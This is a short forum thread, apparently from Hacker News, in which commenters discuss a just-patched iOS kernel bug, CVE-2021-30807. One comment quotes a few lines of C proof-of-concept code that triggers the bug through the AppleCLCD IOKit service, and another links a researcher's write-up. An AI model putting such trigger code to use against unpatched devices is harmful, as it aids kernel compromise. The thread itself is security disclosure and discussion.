3 ms·
Is there any reverse-engineered write up of how it was done anywhere?
by jonplackett 5y ago
Is there any reverse-engineered write up of how it was done anywhere?
- yellow_lead 5y agoProbably not yet. If we're lucky, someone will provide a write-up soon.
- mzs 5y ago>CVE-2021-30807 POC: int main(){ io_service_t s = IOServiceGetMatchingService(0, IOServiceMatching("AppleCLCD")); io_connect_t c; IOServiceOpen(s,mach_task_self(),0,&c); uint64_t a[1] = {0xFFFFFFFF}; uint64_t b[1] = {0}; uint32_t o = 1; IOConnectCallScalarMethod(c,83,a,1,b,&o); } >Make sure you have "http://com.apple.private.allow-explicit-graphics-priority http://com.apple.private.allow-explicit-graphics-priority" entitlement and IOKit headers imported. >Patch for this bug was released with iOS 14.7.1 less than 2 hours ago. Might be useful for a jailbreak but not sure due to the entitlement check. https://twitter.com/b1n4r1b01/status/1419734844909637642 https://twitter.com/b1n4r1b01/status/1419734844909637642
- yellow_lead 5y agoThanks!
- muricula 5y agoSaar Amar, who works at MSRC, wrote a writeup & POC for what he says is the same bug: https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/ https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/ He says he found it independently.